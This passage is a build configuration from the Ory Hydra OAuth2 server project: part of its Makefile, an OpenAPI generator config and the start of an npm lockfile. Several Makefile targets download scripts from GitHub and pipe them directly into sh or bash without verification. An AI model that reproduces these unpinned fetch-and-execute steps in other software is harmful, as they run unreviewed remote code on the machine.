https://raw.githubusercontent.com/ory/ci/master/licenses/install | sh .bin/ory: Makefile curl https://raw.githubusercontent.com/ory/meta/master/install.sh | bash -s -- -b .bin ory v0.2.2 touch .bin/ory .PHONY: lint lint: .bin/golangci-lint-$(GOLANGCI_LINT_VERSION) .bin/golangci-lint-$(GOLANGCI_LINT_VERSION) run -v ./... # Runs full test suite including tests where databases are enabled .PHONY: test test: .bin/go-acc make test-resetdb source scripts/test-env.sh && go-acc ./... -- -failfast -timeout=20m -tags sqlite,json1 docker rm -f hydra_test_database_mysql docker rm -f hydra_test_database_postgres docker rm -f hydra_test_database_cockroach # Resets the test databases .PHONY: test-resetdb test-resetdb: node_modules docker rm --force --volumes hydra_test_database_mysql || true docker rm --force --volumes hydra_test_database_postgres || true docker rm --force --volumes hydra_test_database_cockroach || true docker run --rm --name hydra_test_database_mysql --platform linux/amd64 -p 3444:3306 -e MYSQL_ROOT_PASSWORD=secret -d mysql:8.0.26 docker run --rm --name hydra_test_database_postgres --platform linux/amd64 -p 3445:5432 -e POSTGRES_PASSWORD=secret -e POSTGRES_DB=postgres -d postgres:11.8 docker run --rm --name hydra_test_database_cockroach --platform linux/amd64 -p 3446:26257 -d cockroachdb/cockroach:v22.1.10 start-single-node --insecure # Build local docker images .PHONY: docker docker: DOCKER_BUILDKIT=1 DOCKER_CONTENT_TRUST=1 docker build --progress=plain -f .docker/Dockerfile-build -t oryd/hydra:${IMAGE_TAG}-sqlite . .PHONY: e2e e2e: node_modules test-resetdb source ./scripts/test-env.sh for db in memory postgres mysql cockroach; do \ ./test/e2e/circle-ci.bash "$${db}"; \ ./test/e2e/circle-ci.bash "$${db}" --jwt; \ done # Runs tests in short mode, without database adapters .PHONY: quicktest quicktest: go test -failfast -short -tags sqlite,json1 ./... .PHONY: quicktest-hsm quicktest-hsm: DOCKER_BUILDKIT=1 DOCKER_CONTENT_TRUST=1 docker build --progress=plain -f .docker/Dockerfile-hsm --target test-hsm -t oryd/hydra:${IMAGE_TAG} --target test-hsm . .PHONY: refresh refresh: UPDATE_SNAPSHOTS=true go test -failfast -short -tags sqlite,json1 ./... authors: # updates the AUTHORS file curl https://raw.githubusercontent.com/ory/ci/master/authors/authors.sh | env PRODUCT="Ory Hydra" bash # Formats the code .PHONY: format format: .bin/goimports .bin/ory node_modules .bin/ory dev headers copyright --type=open-source --exclude=internal/httpclient .bin/goimports -w --local github.com/ory . npm exec -- prettier --write . # Generates mocks .PHONY: mocks mocks: .bin/mockgen mockgen -package oauth2_test -destination oauth2/oauth2_provider_mock_test.go github.com/ory/fosite OAuth2Provider mockgen -package jwk_test -destination jwk/registry_mock_test.go -source=jwk/registry.go go generate ./... # Generates the SDKs .PHONY: sdk sdk: .bin/swagger .bin/ory node_modules swagger generate spec -m -o spec/swagger.json \ -c github.com/ory/hydra/v2/client \ -c github.com/ory/hydra/v2/consent \ -c github.com/ory/hydra/v2/flow \ -c github.com/ory/hydra/v2/health \ -c github.com/ory/hydra/v2/jwk \ -c github.com/ory/hydra/v2/oauth2 \ -c github.com/ory/hydra/v2/x \ -c github.com/ory/x/healthx \ -c github.com/ory/x/openapix \ -c github.com/ory/x/pagination \ -c github.com/ory/herodot ory dev swagger sanitize ./spec/swagger.json swagger validate ./spec/swagger.json CIRCLE_PROJECT_USERNAME=ory CIRCLE_PROJECT_REPONAME=hydra \ ory dev openapi migrate \ --health-path-tags metadata \ -p https://raw.githubusercontent.com/ory/x/master/healthx/openapi/patch.yaml \ -p file://.schema/openapi/patches/meta.yaml \ -p file://.schema/openapi/patches/health.yaml \ -p file://.schema/openapi/patches/oauth2.yaml \ -p file://.schema/openapi/patches/nulls.yaml \ -p file://.schema/openapi/patches/common.yaml \ -p file://.schema/openapi/patches/security.yaml \ spec/swagger.json spec/api.json rm -rf "internal/httpclient" npm run openapi-generator-cli -- generate -i "spec/api.json" \ -g go \ -o "internal/httpclient" \ --git-user-id ory \ --git-repo-id hydra-client-go \ --git-host github.com (cd internal/httpclient && go mod edit -module github.com/ory/hydra-client-go/v2) make format MIGRATIONS_SRC_DIR = ./persistence/sql/src/ MIGRATIONS_DST_DIR = ./persistence/sql/migrations/ MIGRATION_NAMES=$(shell find $(MIGRATIONS_SRC_DIR) -maxdepth 1 -mindepth 1 -type d -print0 | xargs -0 -I{} basename {}) MIGRATION_TARGETS=$(addprefix $(MIGRATIONS_DST_DIR), $(MIGRATION_NAMES)) .PHONY: $(MIGRATION_TARGETS) $(MIGRATION_TARGETS): $(MIGRATIONS_DST_DIR)%: go run . migrate gen $(MIGRATIONS_SRC_DIR)$* $(MIGRATIONS_DST_DIR) ./scripts/db-placeholders.sh MIGRATION_CLEAN_TARGETS=$(addsuffix -clean, $(MIGRATION_TARGETS)) .PHONY: $(MIGRATION_CLEAN_TARGETS) $(MIGRATION_CLEAN_TARGETS): $(MIGRATIONS_DST_DIR)%: find $(MIGRATIONS_DST_DIR) -type f -name $$(echo "$*" | cut -c1-14)* -delete .PHONY: $(MIGRATIONS_DST_DIR:%/=%) $(MIGRATIONS_DST_DIR:%/=%): $(MIGRATION_TARGETS) .PHONY: $(MIGRATIONS_DST_DIR:%/=%-clean) $(MIGRATIONS_DST_DIR:%/=%-clean): $(MIGRATION_CLEAN_TARGETS) .PHONY: install-stable install-stable: HYDRA_LATEST=$$(git describe --abbrev=0 --tags) git checkout $$HYDRA_LATEST GO111MODULE=on go install \ -tags sqlite,json1 \ -ldflags "-X github.com/ory/hydra/v2/driver/config.Version=$$HYDRA_LATEST -X github.com/ory/hydra/v2/driver/config.Date=`TZ=UTC date -u '+%Y-%m-%dT%H:%M:%SZ'` -X github.com/ory/hydra/v2/driver/config.Commit=`git rev-parse HEAD`" \ . git checkout master .PHONY: install install: GO111MODULE=on go install -tags sqlite,json1 . .PHONY: post-release post-release: .bin/yq yq e '.services.hydra.image = "oryd/hydra:'$$DOCKER_TAG'"' -i quickstart.yml yq e '.services.hydra-migrate.image = "oryd/hydra:'$$DOCKER_TAG'"' -i quickstart.yml yq e '.services.consent.image = "oryd/hydra-login-consent-node:'$$DOCKER_TAG'"' -i quickstart.yml generate: .bin/mockgen go generate ./... licenses: .bin/licenses node_modules # checks open-source licenses .bin/licenses
JSON
hydra/openapitools.json
{ "$schema": "node_modules/@openapitools/openapi-generator-cli/config.schema.json", "spaces": 2, "generator-cli": { "version": "6.0.1" } }
JSON
hydra/package-lock.json
{ "name": "@oryd/hydra", "version": "0.0.0", "lockfileVersion": 2, "requires": true, "packages": { "": { "name": "@oryd/hydra", "version": "0.0.0", "dependencies": { "@openapitools/openapi-generator-cli": "^2.6.0", "conventional-changelog-cli": "~2.2.2", "doctoc": "^2.2.1" }, "devDependencies": { "cypress": "^9.7.0", "dayjs": "^1.10.6", "jsonwebtoken": "^8.5.1", "license-checker": "^25.0.1", "ory-prettier-styles": "1.3.0", "prettier": "2.7.1", "prettier-plugin-packagejson": "^2.2.18", "standard": "^12.0.1", "uuid": "^8.3.2", "wait-on": "^7.0.1" } }, "node_modules/@babel/code-frame": { "version": "7.18.6", "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.18.6.tgz", "integrity": "sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==", "dependencies": { "@babel/highlight": "^7.18.6" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-validator-identifier": { "version": "7.19.1", "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.19.1.tgz", "integrity": "sha512-awrNfaMtnHUr653GgGEs++LlAvW6w+DcPrOliSMXWCKo597CwL5Acf/wWdNkf/tfEQE3mjkeD1YOVZOUV/od1w==", "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/highlight": { "version": "7.18.6", "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.18.6.tgz", "integrity": "sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g==", "dependencies": { "@babel/helper-validator-identifier": "^7.18.6", "chalk": "^2.0.0", "js-tokens": "^4.0.0" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/highlight/node_modules/js-tokens": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==" }, "node_modules/@colors/colors": { "version": "1.5.0", "resolved": "https://registry.npmjs.org/@colors/colors/-/colors-1.5.0.tgz", "integrity": "sha512-ooWCrlZP11i8GImSjTHYHLkvFDP48nS4+204nGb1RiX/WXYHmJA2III9/e2DWVabCESdW7hBAEzHRqUn9OUVvQ==", "dev": true, "optional": true, "engines": { "node": ">=0.1.90" } }, "node_modules/@cypress/request": { "version": "2.88.12", "resolved": "https://registry.npmjs.org/@cypress/request/-/request-2.88.12.tgz", "integrity": "sha512-tOn+0mDZxASFM+cuAP9szGUGPI1HwWVSvdzm7V4cCsPdFTx6qMj29CwaQmRAMIEhORIUBFBsYROYJcveK4uOjA==", "dev": true, "dependencies": { "aws-sign2": "~0.7.0", "aws4": "^1.8.0", "caseless": "~0.12.0", "combined-stream": "~1.0.6", "extend": "~3.0.2", "forever-agent": "~0.6.1", "form-data": "~2.3.2", "http-signature": "~1.3.6", "is-typedarray": "~1.0.0", "isstream": "~0.1.2", "json-stringify-safe": "~5.0.1", "mime-types": "~2.1.19", "performance-now": "^2.1.0", "qs": "~6.10.3", "safe-buffer": "^5.1.2", "tough-cookie": "^4.1.3", "tunnel-agent": "^0.6.0", "uuid": "^8.3.2" }, "engines": { "node": ">= 6" } }, "node_modules/@cypress/request/node_modules/http-signature": { "version": "1.3.6", "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.3.6.tgz", "integrity": "sha512-3adrsD6zqo4GsTqtO7FyrejHNv+NgiIfAfv68+jVlFmSr9OGy7zrxONceFRLKvnnZA5jbxQBX1u9PpB6Wi32Gw==", "dev": true, "dependencies": { "assert-plus": "^1.0.0", "jsprim": "^2.0.2", "sshpk": "^1.14.1" }, "engines": { "node": ">=0.10" } }, "node_modules/@cypress/request/node_modules/jsprim": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-2.0.2.tgz", "integrity": "sha512-gqXddjPqQ6G40VdnI6T6yObEC+pDNvyP95wdQhkWkg7crHH3km5qP1FsOXEkzEQwnz6gz5qGTn1c2Y52wP3OyQ==", "dev": true, "engines": [ "node >=0.6.0" ], "dependencies": { "assert-plus": "1.0.0", "extsprintf": "1.3.0", "json-schema": "0.4.0", "verror": "1.10.0" } }, "node_modules/@cypress/xvfb": { "version": "1.2.4", "resolved": "https://registry.npmjs.org/@cypress/xvfb/-/xvfb-1.2.4.tgz", "integrity": "sha512-skbBzPggOVYCbnGgV+0dmBdW/s77ZkAOXIC1knS8NagwDjBrNC1LuXtQJeiN6l+m7lzmHtaoUw/ctJKdqkG57Q==", "dev": true, "dependencies": { "debug": "^3.1.0", "lodash.once": "^4.1.1" } }, "node_modules/@hapi/hoek": { "version": "9.3.0", "resolved": "https://registry.npmjs.org/@hapi/hoek/-/hoek-9.3.0.tgz", "integrity": "sha512-/c6rf4UJlmHlC9b5BaNvzAcFv7HZ2QHaV0D4/HNlBdvFnvQq8RI4kYdhyPCl7Xj+oWvTWQ8ujhqS53LIgAe6KQ==", "dev": true }, "node_modules/@hapi/topo": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/@hapi/topo/-/topo-5.1.0.tgz", "integrity": "sha512-foQZKJig7Ob0BMAYBfcJk8d77QtOe7Wo4ox7ff1lQYoNNAb6jwcY1ncdoy2e9wQZzvNy7ODZCYJkK8kzmcAnAg==", "dev": true, "dependencies": { "@hapi/hoek": "^9.0.0" } }, "node_modules/@hutson/parse-repository-url": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/@hutson/parse-repository-url/-/parse-repository-url-3.0.2.tgz", "integrity": "sha512-H9XAx3hc0BQHY6l+IFSWHDySypcXsvsuLhgYLUGywmJ5pswRVQJUHpOsobnLYp2ZUaUlKiKDrgWWhosOwAEM8Q==", "engines": { "node": ">=6.9.0" } }, "node_modules/@lukeed/csprng": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/@lukeed/csprng/-/csprng-1.1.0.tgz", "integrity": "sha512-Z7C/xXCiGWsg0KuKsHTKJxbWhpI3Vs5GwLfOean7MGyVFGqdRgBbAjOCh6u4bbjPc/8MJ2pZmK/0DLdCbivLDA==", "engines": { "node": ">=8" } }, "node_modules/@nodelib/fs.scandir": { "version": "2.1.5", "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", "dev": true, "dependencies": { "@nodelib/fs.stat": "2.0.5", "run-parallel": "^1.1.9" }, "engines": { "node": ">= 8" } }, "node_modules/@nodelib/fs.stat": { "version": "2.0.5", "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", "dev": true, "engines": { "node": ">= 8" } }, "node_modules/@nodelib/fs.walk": { "version": "1.2.8", "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", "dev": true, "dependencies": { "@nodelib/fs.scandir": "2.1.5", "fastq": "^1.6.0" }, "engines": { "node": ">= 8" } }, "node_modules/@nuxtjs/opencollective": { "version": "0.3.2", "resolved": "https://registry.npmjs.org/@nuxtjs/opencollective/-/opencollective-0.3.2.tgz", "integrity": "sha512-um0xL3fO7Mf4fDxcqx9KryrB7zgRM5JSlvGN5AGkP6JLM5XEKyjeAiPbNxdXVXQ16isuAhYpvP88NgL2BGd6aA==", "dependencies": { "chalk": "^4.1.0", "consola": "^2.15.0", "node-fetch": "^2.6.1" }, "bin": { "opencollective": "bin/opencollective.js" }, "engines": { "node": ">=8.0.0", "npm": ">=5.0.0" } }, "node_modules/@nuxtjs/opencollective/node_modules/ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", "dependencies": { "color-convert": "^2.0.1" }, "engines": { "node": ">=8" }, "funding": { "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, "node_modules/@nuxtjs/opencollective/node_modules/chalk": { "version": "4.1.2", "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" }, "engines": { "node": ">=10" }, "funding": { "url": "https://github.com/chalk/chalk?sponsor=1" } }, "node_modules/@nuxtjs/opencollective/node_modules/color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", "dependencies": { "color-name": "~1.1.4" }, "engines": { "node": ">=7.0.0" } }, "node_modules/@nuxtjs/opencollective/node_modules/color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" }, "node_modules/@nuxtjs/opencollective/node_modules/has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", "engines": { "node": ">=8" } }, "node_modules/@nuxtjs/opencollective/node_modules/supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", "dependencies": { "has-flag": "^4.0.0" }, "engines": { "node": ">=8" } }, "node_modules/@openapitools/openapi-generator-cli": { "version": "2.6.0", "resolved": "https://registry.npmjs.org/@openapitools/openapi-generator-cli/-/openapi-generator-cli-2.6.0.tgz", "integrity": "sha512-M/aOpR7G+Y1nMf+ofuar8pGszajgfhs1aSPSijkcr2tHTxKAI3sA3YYcOGbszxaNRKFyvOcDq+KP9pcJvKoCHg==", "hasInstallScript": true, "dependencies": { "@nestjs/axios": "0.0.8", "@nestjs/common": "9.3.11", "@nestjs/core": "9.3.11", "@nuxtjs/opencollective": "0.3.2", "chalk": "4.1.2", "commander": "8.3.0", "compare-versions": "4.1.4", "concurrently": "6.5.1", "console.table": "0.10.0", "fs-extra": "10.1.0", "glob": "7.1.6", "inquirer": "8.2.5", "lodash": "4.17.21", "reflect-metadata": "0.1.13", "rxjs": "7.8.0", "tslib": "2.0.3" }, "bin": { "openapi-generator-cli": "main.js" }, "engines": { "node": ">=10.0.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/openapi_generator" } }, "node_modules/@openapitools/openapi-generator-cli/node_modules/@nestjs/axios": { "version": "0.0.8", "resolved": "https://registry.npmjs.org/@nestjs/axios/-/axios-0.0.8.tgz", "integrity": "sha512-oJyfR9/h9tVk776il0829xyj3b2e81yTu6HjPraxynwNtMNGqZBHHmAQL24yMB3tVbBM0RvG3eUXH8+pRCGwlg==", "dependencies": { "axios": "0.27.2" }, "peerDependencies": { "@nestjs/common": "^7.0.0 || ^8.0.0", "reflect-metadata": "^0.1.12", "rxjs": "^6.0.0 || ^7.0.0" } }, "node_modules/@openapitools/openapi-generator-cli/node_modules/@nestjs/common": { "version": "9.3.11", "resolved": "https://registry.npmjs.org/@nestjs/common/-/common-9.3.11.tgz", "integrity": "sha512-IFZ2G/5UKWC2Uo7tJ4SxGed2+aiA+sJyWeWsGTogKVDhq90oxVBToh+uCDeI31HNUpqYGoWmkletfty42zUd8A==", "dependencies": { "iterare": "1.2.1", "tslib": "2.5.0", "uid": "2.0.1" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/nest" }, "peerDependencies": { "cache-manager": "<=5", "class-transformer": "*", "class-validator": "*", "reflect-metadata": "^0.1.12", "rxjs": "^7.1.0" }, "peerDependenciesMeta": { "cache-manager": { "optional": true }, "class-transformer": { "optional": true }, "class-validator": { "optional": true } } }, "node_modules/@openapitools/openapi-generator-cli/node_modules/@nestjs/common/node_modules/tslib": { "version": "2.5.0", "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.5.0.tgz", "integrity": "sha512-336iVw3rtn2BUK7ORdIAHTyxHGRIHVReokCR3XjbckJMK7ms8FysBfhLR8IXnAgy7T0PTPNBWKiH514FOW/WSg==" }, "node_modules/@openapitools/openapi-generator-cli/node_modules/@nestjs/core": { "version": "9.3.11", "resolved": "https://registry.npmjs.org/@nestjs/core/-/core-9.3.11.tgz", "integrity": "sha512-CI27a2JFd5rvvbgkalWqsiwQNhcP4EAG5BUK8usjp29wVp1kx30ghfBT8FLqIgmkRVo65A0IcEnWsxeXMntkxQ==", "hasInstallScript": true, "dependencies": { "@nuxtjs/opencollective": "0.3.2", "fast-safe-stringify": "2.1.1", "iterare": "1.2.1", "path-to-regexp": "3.2.0", "tslib": "2.5.0", "uid": "2.0.1" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/nest" }, "peerDependencies": { "@nestjs/common": "^9.0.0", "@nestjs/microservices": "^9.0.0", "@nestjs/platform-express": "^9.0.0", "@nestjs/websockets": "^9.0.0", "reflect-metadata": "^0.1.12", "rxjs": "^7.1.0" }, "peerDependenciesMeta": { "@nestjs/microservices": { "optional": true }, "@nestjs/platform-express": { "optional": true }, "@nestjs/websockets": { "optional": true } } }, "node_modules/@openapitools/openapi-generator-cli/node_modules/@nestjs/core/node_modules/tslib": { "version": "2.5.0", "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.5.0.tgz", "integrity": "sha512-336iVw3rtn2BUK7ORdIAHTyxHGRIHVReokCR3XjbckJMK7ms8FysBfhLR8IXnAgy7T0PTPNBWKiH514FOW/WSg==" }, "node_modules/@openapitools/openapi-generator-cli/node_modules/ansi-escapes": { "version": "4.3.2", "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz", "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", "dependencies": { "type-fest": "^0.21.3" }, "engines": { "node": ">=8" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/@openapitools/openapi-generator-cli/node_modules/ansi-regex": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", "engines": { "node": ">=8" } }, "node_modules/@openapitools/openapi-generator-cli/node_modules/ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", "dependencies": { "color-convert": "^2.0.1" }, "engines": { "node": ">=8" }, "funding": { "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, "node_modules/@openapitools/openapi-generator-cli/node_modules/chalk": { "version": "4.1.2", "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" }, "engines": { "node": ">=10" }, "funding": { "url": "https://github.com/chalk/chalk?sponsor=1" } }, "node_modules/@openapitools/openapi-generator-cli/node_modules/chardet": { "version": "0.7.0", "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz", "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==" }, "node_modules/@openapitools/openapi-generator-cli/node_modules/cli-width": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-3.0.0.tgz", "integrity": "sha512-FxqpkPPwu1HjuN93Omfm4h8uIanXofW0RxVEW3k5RKx+mJJYSthzNhp32Kzxxy3YAEZ/Dc/EWN1vZRY0+kOhbw==", "engines": { "node": ">= 10" } }, "node_modules/@openapitools/openapi-generator-cli/node_modules/color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", "dependencies": { "color-name": "~1.1.4" }, "engines": { "node": ">=7.0.0" } }, "node_modules/@openapitools/openapi-generator-cli/node_modules/color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" }, "node_modules/@openapitools/openapi-generator-cli/node_modules/commander": { "version": "8.3.0", "resolved": "https://registry.npmjs.org/commander/-/commander-8.3.0.tgz", "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==", "engines": { "node": ">= 12" } }, "node_modules/@openapitools/openapi-generator-cli/node_modules/external-editor": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz", "integrity": "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==", "dependencies": { "chardet": "^0.7.0", "iconv-lite": "^0.4.24", "tmp": "^0.0.33" }, "engines": { "node": ">=4" } }, "node_modules/@openapitools/openapi-generator-cli/node_modules/fs-extra": { "version": "10.1.0", "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", "dependencies": { "graceful-fs": "^4.2.0", "jsonfile": "^6.0.1", "universalify": "^2.0.0" }, "engines": { "node": ">=12" } }, "node_modules/@openapitools/openapi-generator-cli/node_modules/has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", "engines": { "node": ">=8" } }, "node_modules/@openapitools/openapi-generator-cli/node_modules/inquirer": { "version": "8.2.5", "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-8.2.5.tgz", "integrity": "sha512-QAgPDQMEgrDssk1XiwwHoOGYF9BAbUcc1+j+FhEvaOt8/cKRqyLn0U5qA6F74fGhTMGxf92pOvPBeh29jQJDTQ==", "dependencies": { "ansi-escapes": "^4.2.1", "chalk": "^4.1.1", "cli-cursor": "^3.1.0", "cli-width": "^3.0.0", "external-editor": "^3.0.3", "figures": "^3.0.0", "lodash": "^4.17.21", "mute-stream": "0.0.8", "ora": "^5.4.1", "run-async": "^2.4.0", "rxjs": "^7.5.5", "string-width": "^4.1.0", "strip-ansi": "^6.0.0", "through": "^2.3.6", "wrap-ansi": "^7.0.0" }, "engines": { "node": ">=12.0.0" } }, "node_modules/@openapitools/openapi-generator-cli/node_modules/mute-stream": { "version": "0.0.8", "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.8.tgz", "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==" }, "node_modules/@openapitools/openapi-generator-cli/node_modules/rxjs": { "version": "7.8.0", "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-7.8.0.tgz", "integrity": "sha512-F2+gxDshqmIub1KdvZkaEfGDwLNpPvk9Fs6LD/MyQxNgMds/WH9OdDDXOmxUZpME+iSK3rQCctkL0DYyytUqMg==", "dependencies": { "tslib": "^2.1.0" } }, "node_modules/@openapitools/openapi-generator-cli/node_modules/rxjs/node_modules/tslib": { "version": "2.5.0", "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.5.0.tgz", "integrity": "sha512-336iVw3rtn2BUK7ORdIAHTyxHGRIHVReokCR3XjbckJMK7ms8FysBfhLR8IXnAgy7T0PTPNBWKiH514FOW/WSg==" }, "node_modules/@openapitools/openapi-generator-cli/node_modules/strip-ansi": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", "dependencies": { "ansi-regex": "^5.0.1" }, "engines": { "node": ">=8" } }, "node_modules/@openapitools/openapi-generator-cli/node_modules/supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", "dependencies": { "has-flag": "^4.0.0" }, "engines": { "node": ">=8" } }, "node_modules/@openapitools/openapi-generator-cli/node_modules/tslib": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.3.tgz", "integrity": "sha512-uZtkfKblCEQtZKBF6EBXVZeQNl82yqtDQdv+eck8u7tdPxjLu2/lp5/uPW+um2tpuxINHWy3GhiccY7QgEaVHQ==" }, "node_modules/@sideway/address": { "version": "4.1.4", "resolved": 